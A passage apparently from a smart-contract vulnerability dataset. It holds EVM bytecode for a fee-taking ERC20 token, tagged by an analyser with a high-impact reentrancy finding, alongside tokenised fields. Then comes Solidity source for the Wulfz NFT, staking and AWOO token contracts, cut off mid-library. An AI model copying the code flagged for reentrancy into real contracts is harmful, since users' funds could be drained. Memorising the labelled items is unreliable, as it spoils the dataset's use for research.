190611747565b6001600160a01b038316610a285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ef565b6001600160a01b038216610a895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ef565b6001600160a01b038216610bb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ef565b60008111610c125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ef565b6001600a55600b80556000546001600160a01b03848116911614801590610c4757506000546001600160a01b03838116911614155b15610e25576001600160a01b03831660009081526006602052604090205460ff16158015610c8e57506001600160a01b03821660009081526006602052604090205460ff16155b610c9757600080fd5b600f546001600160a01b038481169116148015610cc25750600e546001600160a01b03838116911614155b8015610ce757506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfc5750600f54600160b81b900460ff165b15610d5957601054811115610d1057600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3457600080fd5b610d3f42603c61188d565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d845750600e546001600160a01b03848116911614155b8015610da957506001600160a01b03831660009081526005602052604090205460ff16155b15610db8576001600a55600b80555b6000610dc33061048e565b600f54909150600160a81b900460ff16158015610dee5750600f546001600160a01b03858116911614155b8015610e035750600f54600160b01b900460ff165b15610e2357610e1181610f78565b478015610e2157610e2147610e6f565b505b505b610e30838383611101565b505050565b60008184841115610e595760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118e6565b95945050505050565b600c546001600160a01b03166108fc610e8983600261110c565b6040518115909202916000818181858888f19350505050158015610eb1573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ecc83600261110c565b6040518115909202916000818181858888f193505050501580156105c3573d6000803e3d6000fd5b6000600854821115610f5b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ef565b6000610f6561114e565b9050610f71838261110c565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc057610fc061192e565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101457600080fd5b505afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c919061159b565b8160018151811061105f5761105f61192e565b6001600160a01b039283166020918202929092010152600e5461108591309116846109c6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161181c565b600060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e30838383611171565b6000610f7183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611268565b600080600061115b611296565b909250905061116a828261110c565b9250505090565b600080600080600080611183876112de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b5908761133b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e4908661137d565b6001600160a01b038916600090815260026020526040902055611206816113dc565b6112108483611426565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125591815260200190565b60405180910390a3505050505050505050565b600081836112895760405162461bcd60e51b81526004016103ef9190611792565b506000610e6684866118a5565b60085460009081906b033b2e3c9fd0803ce80000006112b5828261110c565b8210156112d5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fb8a600a54600b5461144a565b925092509250600061130b61114e565b9050600080600061131e8e87878761149f565b919e509c509a509598509396509194505050505091939550919395565b6000610f7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e35565b60008061138a838561188d565b905083811015610f715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ef565b60006113e661114e565b905060006113f483836114ef565b30600090815260026020526040902054909150611411908261137d565b30600090815260026020526040902055505050565b600854611433908361133b565b600855600954611443908261137d565b6009555050565b6000808080611464606461145e89896114ef565b9061110c565b90506000611477606461145e8a896114ef565b9050600061148f826114898b8661133b565b9061133b565b9992985090965090945050505050565b60008080806114ae88866114ef565b905060006114bc88876114ef565b905060006114ca88886114ef565b905060006114dc82611489868661133b565b939b939a50919850919650505050505050565b6000826114fe57506000610356565b600061150a83856118c7565b90508261151785836118a5565b14610f715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ef565b80356115798161195a565b919050565b60006020828403121561159057600080fd5b8135610f718161195a565b6000602082840312156115ad57600080fd5b8151610f718161195a565b600080604083850312156115cb57600080fd5b82356115d68161195a565b915060208301356115e68161195a565b809150509250929050565b60008060006060848603121561160657600080fd5b83356116118161195a565b925060208401356116218161195a565b929592945050506040919091013590565b6000806040838503121561164557600080fd5b82356116508161195a565b946020939093013593505050565b6000602080838503121561167157600080fd5b823567ffffffffffffffff8082111561168957600080fd5b818501915085601f83011261169d57600080fd5b8135818111156116af576116af611944565b8060051b604051601f19603f830116810181811085821117156116d4576116d4611944565b604052828152858101935084860182860187018a10156116f357600080fd5b600095505b8386101561171d576117098161156e565b8552600195909501949386019386016116f8565b5098975050505050505050565b60006020828403121561173c57600080fd5b8135610f718161196f565b60006020828403121561175957600080fd5b8151610f718161196f565b60008060006060848603121561177957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117bf578581018301518582016040015282016117a3565b818111156117d1576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186c5784516001600160a01b031683529383019391830191600101611847565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a0576118a0611918565b500190565b6000826118c257634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e1576118e1611918565b500290565b6000828210156118f8576118f8611918565b500390565b600060001982141561191157611911611918565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048b57600080fd5b801515811461048b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df7ab70b7af761171aaecc40655488c997e6871ca374714de3dc05093311fe2a64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14526, 2546, 16409, 2581, 2575, 2546, 12740, 2546, 20958, 2094, 28154, 19317, 16086, 2050, 21486, 2549, 2850, 2620, 2487, 2278, 8889, 2620, 2475, 2278, 8889, 23833, 1013, 1008, 1008, 1008, 1013, 1013, 1008, 1008, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2417, 16280, 2705, 4037, 1024, 16770, 1024, 1013, 1013, 2417, 11266, 1012, 2444, 1008, 1013, 1013, 1008, 1008, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,616
0x9712228cEeDA1E2dDdE52Cd5100B88986d1Cb49c
// SPDX-License-Identifier: MIT /* ████ ████ ██████ ██████ ████████ ████████ ██████████████████████ ██████████████████████ ██████ ██████ ██████ ██████ ██ ██ ██████ ██████████████████████████ ██████████ ██████████ ████████ ████████ ██████████████████ ██████████ Wulfz / 2021 */ pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "./Profile.sol"; import "./Awoo.sol"; import "./StakingPool.sol"; contract WulfzNFT is Profile, Ownable { enum WulfzType { Genesis, Pupz, Alpha } struct WulfzInfo { WulfzType wType; bool bStaked; uint256 lastBreedTime; } event WulfzMinted( address indexed user, uint256 indexed tokenId, uint256 indexed wType ); event PreSaleTimeChanged(uint256 newTime, uint256 currentTime); event PublicSaleTimeChanged(uint256 newTime, uint256 currentTime); event StakingTimeChanged(uint256 newTime, uint256 currentTime); event EvolveTimeChanged(uint256 newTime, uint256 currentTime); event AdoptionTimeChanged(uint256 newTime, uint256 currentTime); event PoolAddrSet(address from, address addr); event UtilityAddrSet(address from, address addr); uint256 public constant MINT_PRICE = 80000000000000000; // 0.08 ETH uint256 public constant BREED_PRICE = 600; uint256 public constant EVOLVE_PRICE = 1500; uint256[] private COOLDOWN_TIME_FOR_BREED = [14 days, 0, 7 days]; uint256[] private MAX_SUPPLY_BY_TYPE = [5555, 10000, 100]; uint256[] private START_ID_BY_TYPE = [0, 6000, 5600]; uint256[] public totalSupplyByType = [0, 0, 0]; uint256 public startTimeOfPrivateSale; uint256 public startTimeOfPublicSale; uint256 public startTimeOfStaking; uint256 public startTimeOfAdopt; uint256 public startTimeOfEvolve; mapping(uint256 => WulfzInfo) public wulfz; mapping(address => bool) private claimInPresale; mapping(address => uint256) private claimInPublicSale; string public _baseTokenURI = "https://ipfs.io/ipfs/QmQtN81i9eNrD3wxcr67scDpLvZDDXxbmAvNXMaZh3D6tB/"; UtilityToken private _utilityToken; StakingPool private _pool; constructor(string memory _name, string memory _symbol) Profile(_name, _symbol) { startTimeOfPrivateSale = 1640624400; // Mon Dec 27 2021 12:00:00 GMT-0500 (Eastern Standard Time) startTimeOfPublicSale = 1640710800; // Tue Dec 28 2021 12:00:00 GMT-0500 (Eastern Standard Time) startTimeOfStaking = 1641574800; // Fri Jan 07 2022 12:00:00 GMT-0500 (Eastern Standard Time) startTimeOfAdopt = 1646110800; // Tue Mar 01 2022 00:00:00 GMT-0500 (Eastern Standard Time) startTimeOfEvolve = 1654056000; // Wed Jun 01 2022 00:00:00 GMT-0400 (Eastern Daylight Time) // 55 Wulfz will be held in the Vault for Promotional purposes for (uint256 i = 0; i < 55; i++) { mintOne(WulfzType.Genesis); } } /** * @dev return the Base URI of the token */ function _baseURI() internal view override returns (string memory) { return _baseTokenURI; } /** * @dev set the _baseTokenURI * @param _newURI of the _baseTokenURI */ function setBaseURI(string calldata _newURI) external onlyOwner { _baseTokenURI = _newURI; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; require(balance > 0, "Balance is zero"); payable(msg.sender).transfer(balance); } function getWulfzType(uint256 _tokenId) public view returns (uint256) { return uint256(wulfz[_tokenId].wType); } /** * @dev Only whitelisted can mint */ function Presale(bytes32[] calldata _proof) external payable { require(msg.value >= MINT_PRICE, "Minting Price is not enough"); require( block.timestamp > startTimeOfPrivateSale, "Private Sale is not started yet" ); require( block.timestamp < startTimeOfPrivateSale + 86400, "Private Sale is already ended" ); require( !claimInPresale[msg.sender], "You've already minted token. If you want more, you will be able to mint during Public Sale" ); bytes32 merkleTreeRoot = 0x12b1013fe853dea282b3440a70e5d739b7ef75e135122659fe5408bde23a4cc1; bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify(_proof, merkleTreeRoot, leaf), "Sorry, you're not whitelisted. Please try Public Sale" ); claimInPresale[msg.sender] = true; mintOne(WulfzType.Genesis); } /** * @dev Mint the _amount of tokens * @param _amount is the token count */ function PublicSale(uint256 _amount) external payable { require( msg.value >= MINT_PRICE * _amount, "Minting Price is not enough" ); require( block.timestamp > startTimeOfPublicSale, "Public Sale is not started yet" ); require( block.timestamp < startTimeOfPublicSale + 86400, "Public Sale is already ended" ); require(_amount < 3, "You can only require at most 2"); require( claimInPublicSale[msg.sender] < 3, "You can only mint at most 2 during Public Sale" ); claimInPublicSale[msg.sender] += _amount; for (uint256 i = 0; i < _amount; i++) { mintOne(WulfzType.Genesis); } } function mintOne(WulfzType _type) private { require(msg.sender == tx.origin); require( totalSupplyByType[uint256(_type)] < MAX_SUPPLY_BY_TYPE[uint256(_type)], "All tokens are minted" ); uint256 tokenId = ++totalSupplyByType[uint256(_type)]; tokenId += START_ID_BY_TYPE[uint256(_type)]; _safeMint(msg.sender, tokenId); wulfz[tokenId].wType = _type; emit WulfzMinted(msg.sender, tokenId, uint256(_type)); } function setUtilitytoken(address _addr) external onlyOwner { _utilityToken = UtilityToken(_addr); emit UtilityAddrSet(address(this), _addr); } function setStakingPool(address _addr) external onlyOwner { _pool = StakingPool(_addr); emit PoolAddrSet(address(this), _addr); } function setStartTimeOfPrivateSale(uint256 _timeStamp) external onlyOwner { startTimeOfPrivateSale = _timeStamp; emit PreSaleTimeChanged(startTimeOfPrivateSale, block.timestamp); } function setStartTimeOfPublicSale(uint256 _timeStamp) external onlyOwner { startTimeOfPublicSale = _timeStamp; emit PublicSaleTimeChanged(startTimeOfPublicSale, block.timestamp); } /******************************************************************************* *** Staking Logic *** ******************************************************************************** */ function setStakingTime(uint256 _timeStamp) external onlyOwner { startTimeOfStaking = _timeStamp; emit StakingTimeChanged(startTimeOfStaking, block.timestamp); } function startStaking(uint256 _tokenId) external { require( block.timestamp > startTimeOfStaking, "Staking Mechanism is not started yet" ); require(ownerOf(_tokenId) == msg.sender, "Staking: owner not matched"); require( !wulfz[_tokenId].bStaked, "This Token is already staked. Please try another token." ); _pool.startStaking(msg.sender, _tokenId); _safeTransfer(msg.sender, address(_pool), _tokenId, ""); wulfz[_tokenId].bStaked = true; } function stopStaking(uint256 _tokenId) external { require( wulfz[_tokenId].bStaked, "This token hasn't ever been staked yet." ); _pool.stopStaking(msg.sender, _tokenId); _safeTransfer(address(_pool), msg.sender, _tokenId, ""); wulfz[_tokenId].bStaked = false; } /******************************************************************************* *** Adopting Logic *** ********************************************************************************/ function setAdoptTime(uint256 _timeStamp) external onlyOwner { startTimeOfAdopt = _timeStamp; emit AdoptionTimeChanged(startTimeOfAdopt, block.timestamp); } function canAdopt(uint256 _tokenId) public view returns (bool) { uint256 wType = uint256(wulfz[_tokenId].wType); require( wulfz[_tokenId].wType != WulfzType.Pupz, "Try adopting with Genesis or Alpha Wulfz" ); uint256 lastBreedTime = wulfz[_tokenId].lastBreedTime; uint256 cooldown = COOLDOWN_TIME_FOR_BREED[wType]; return (block.timestamp - lastBreedTime) > cooldown; } function isAdoptionStart() public view returns (bool) { return block.timestamp > startTimeOfAdopt; } function adopt(uint256 _parent) external { require( canAdopt(_parent), "Already adopt in the past days. Genesis Wulfz can adopt every 14 days and Alpha can do every 7 days." ); require(isAdoptionStart(), "Adopting Pupz is not ready yet"); require( ownerOf(_parent) == msg.sender, "Adopting: You're not owner of this token" ); require( !wulfz[_parent].bStaked, "This Token is already staked. Please try another token." ); _utilityToken.burn( msg.sender, BREED_PRICE * (10**_utilityToken.decimals()) ); mintOne(WulfzType.Pupz); wulfz[_parent].lastBreedTime = block.timestamp; } /******************************************************************************* *** Evolution Logic *** ********************************************************************************/ function setEvolveTime(uint256 _timeStamp) external onlyOwner { startTimeOfEvolve = _timeStamp; emit EvolveTimeChanged(startTimeOfEvolve, block.timestamp); } function isEvolveStart() public view returns (bool) { return block.timestamp > startTimeOfEvolve; } function evolve(uint256 _tokenId) external { require(isEvolveStart(), "Evolving Wulfz is not ready yet"); require( ownerOf(_tokenId) == msg.sender, "Evolve: You're not owner of this token" ); require( wulfz[_tokenId].wType == WulfzType.Genesis, "Genesis can only evolve Alpha" ); require( !wulfz[_tokenId].bStaked, "This Token is already staked. Please try another token." ); _utilityToken.burn( msg.sender, EVOLVE_PRICE * (10**_utilityToken.decimals()) ); _burn(_tokenId); mintOne(WulfzType.Alpha); } /******************************************************************************* *** Profile Change *** ********************************************************************************/ function changeName(uint256 _tokenId, string memory newName) public override { require( ownerOf(_tokenId) == msg.sender, "ChangeName: you're not the owner" ); require( !wulfz[_tokenId].bStaked, "This Token is already staked. Please try another token." ); _utilityToken.burn( msg.sender, NAME_CHANGE_PRICE * (10**_utilityToken.decimals()) ); super.changeName(_tokenId, newName); } function changeBio(uint256 _tokenId, string memory _bio) public override { require( ownerOf(_tokenId) == msg.sender, "ChangeBio: you're not the owner" ); _utilityToken.burn( msg.sender, BIO_CHANGE_PRICE * (10**_utilityToken.decimals()) ); super.changeBio(_tokenId, _bio); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "./Awoo.sol"; interface IWulfz { function getWulfzType(uint256 _tokenId) external view returns (uint256); } contract StakingPool is IERC721Receiver, Ownable { using EnumerableSet for EnumerableSet.UintSet; event StakeStarted(address indexed user, uint256 indexed tokenId); event StakeStopped(address indexed user, uint256 indexed tokenId); event UtilityAddrSet(address from, address addr); uint256[] private STAKE_REWARD_BY_TYPE = [10, 5, 50]; IWulfz private _wulfzContract; UtilityToken private _utilityToken; struct StakedInfo { uint256 wType; uint256 lastUpdate; } mapping(uint256 => StakedInfo) private tokenInfo; mapping(address => EnumerableSet.UintSet) private stakedWulfz; modifier masterContract() { require( msg.sender == address(_wulfzContract), "Master Contract can only call Staking Contract" ); _; } constructor(address _wulfzAddr) { _wulfzContract = IWulfz(_wulfzAddr); } function setUtilitytoken(address _addr) external onlyOwner { _utilityToken = UtilityToken(_addr); emit UtilityAddrSet(address(this), _addr); } function startStaking(address _user, uint256 _tokenId) external masterContract { require(!stakedWulfz[_user].contains(_tokenId), "Already staked"); tokenInfo[_tokenId].wType = _wulfzContract.getWulfzType(_tokenId); tokenInfo[_tokenId].lastUpdate = block.timestamp; stakedWulfz[_user].add(_tokenId); emit StakeStarted(_user, _tokenId); } function stopStaking(address _user, uint256 _tokenId) external masterContract { require(stakedWulfz[_user].contains(_tokenId), "You're not the owner"); uint256 wType = tokenInfo[_tokenId].wType; uint256 rewardBase = STAKE_REWARD_BY_TYPE[wType]; uint256 interval = block.timestamp - tokenInfo[_tokenId].lastUpdate; uint256 reward = ((rewardBase * interval) * 10**_utilityToken.decimals()) / 86400; _utilityToken.reward(_user, reward); delete tokenInfo[_tokenId]; stakedWulfz[_user].remove(_tokenId); emit StakeStopped(_user, _tokenId); } function stakedTokensOf(address _user) public view returns (uint256[] memory) { uint256[] memory tokens = new uint256[](stakedWulfz[_user].length()); for (uint256 i = 0; i < stakedWulfz[_user].length(); i++) { tokens[i] = stakedWulfz[_user].at(i); } return tokens; } function getClaimableToken(address _user) public view returns (uint256) { uint256[] memory tokens = stakedTokensOf(_user); uint256 totalAmount = 0; for (uint256 i = 0; i < tokens.length; i++) { uint256 wType = tokenInfo[tokens[i]].wType; uint256 rewardBase = STAKE_REWARD_BY_TYPE[wType]; uint256 interval = block.timestamp - tokenInfo[tokens[i]].lastUpdate; uint256 reward = ((rewardBase * interval) * 10**_utilityToken.decimals()) / 86400; totalAmount += reward; } return totalAmount; } function getReward() external { _utilityToken.reward(msg.sender, getClaimableToken(msg.sender)); for (uint256 i = 0; i < stakedWulfz[msg.sender].length(); i++) { uint256 tokenId = stakedWulfz[msg.sender].at(i); tokenInfo[tokenId].lastUpdate = block.timestamp; } } /** * ERC721Receiver hook for single transfer. * @dev Reverts if the caller is not the whitelisted NFT contract. */ function onERC721Received( address, /*operator*/ address, /*from*/ uint256, /* tokenId */ bytes calldata /*data*/ ) external view override returns (bytes4) { require( address(_wulfzContract) == msg.sender, "You can stake only Wulfz" ); return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; // import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; contract Profile is ERC721Enumerable { event NameChange(uint256 indexed tokenId, string newName); event BioChange(uint256 indexed tokenId, string bio); uint256 public constant NAME_CHANGE_PRICE = 50; uint256 public constant BIO_CHANGE_PRICE = 100; mapping(uint256 => string) public bio; // Mapping from token ID to name mapping(uint256 => string) private _tokenName; // Mapping if certain name string has already been reserved mapping(string => bool) private _nameReserved; constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) {} function changeBio(uint256 _tokenId, string memory _bio) public virtual { address owner = ownerOf(_tokenId); require(msg.sender == owner, "ERC721: caller is not the owner"); bio[_tokenId] = _bio; emit BioChange(_tokenId, _bio); } function changeName(uint256 tokenId, string memory newName) public virtual { address owner = ownerOf(tokenId); require(msg.sender == owner, "ERC721: caller is not the owner"); require(validateName(newName) == true, "Not a valid new name"); require( sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), "New name is same as the current one" ); require(isNameReserved(newName) == false, "Name already reserved"); // If already named, dereserve old name if (bytes(_tokenName[tokenId]).length > 0) { toggleReserveName(_tokenName[tokenId], false); } toggleReserveName(newName, true); _tokenName[tokenId] = newName; emit NameChange(tokenId, newName); } /** * @dev Reserves the name if isReserve is set to true, de-reserves if set to false */ function toggleReserveName(string memory str, bool isReserve) internal { _nameReserved[toLower(str)] = isReserve; } /** * @dev Returns name of the NFT at index. */ function tokenNameByIndex(uint256 index) public view returns (string memory) { return _tokenName[index]; } /** * @dev Returns if the name has been reserved. */ function isNameReserved(string memory nameString) public view returns (bool) { return _nameReserved[toLower(nameString)]; } function validateName(string memory str) public pure returns (bool) { bytes memory b = bytes(str); if (b.length < 1) return false; if (b.length > 25) return false; // Cannot be longer than 25 characters if (b[0] == 0x20) return false; // Leading space if (b[b.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar = b[0]; for (uint256 i; i < b.length; i++) { bytes1 char = b[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces if ( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } /** * @dev Converts the string to lowercase */ function toLower(string memory str) public pure returns (string memory) { bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint256 i = 0; i < bStr.length; i++) { // Uppercase character if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract UtilityToken is ERC20("Awoo", "AWOO"), Ownable { event AwooBurn(address indexed user, uint256 amount); event AwooRewarded(address indexed user, uint256 amount); uint256 public constant TOTAL_SUPPLY_AWOO = 200000000 * 10**2; address private _wulfzAddr; address private _stakingAddr; constructor(address wulfzAddr_, address stakingAddr_) { _wulfzAddr = wulfzAddr_; _stakingAddr = stakingAddr_; } function decimals() public pure override returns (uint8) { return 2; } function burn(address _from, uint256 _amount) external { require(msg.sender == _wulfzAddr, "Only Wulfz Contract can call"); _burn(_from, _amount); emit AwooBurn(_from, _amount); } function reward(address _to, uint256 _amount) external { require(msg.sender == _stakingAddr, "Only Staking Contract can call"); if (_amount > 0) { require( (totalSupply() + _amount) < TOTAL_SUPPLY_AWOO, "MAX LIMIT SUPPLY EXCEEDED" ); _mint(_to, _amount); emit AwooRewarded(_to, _amount); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** 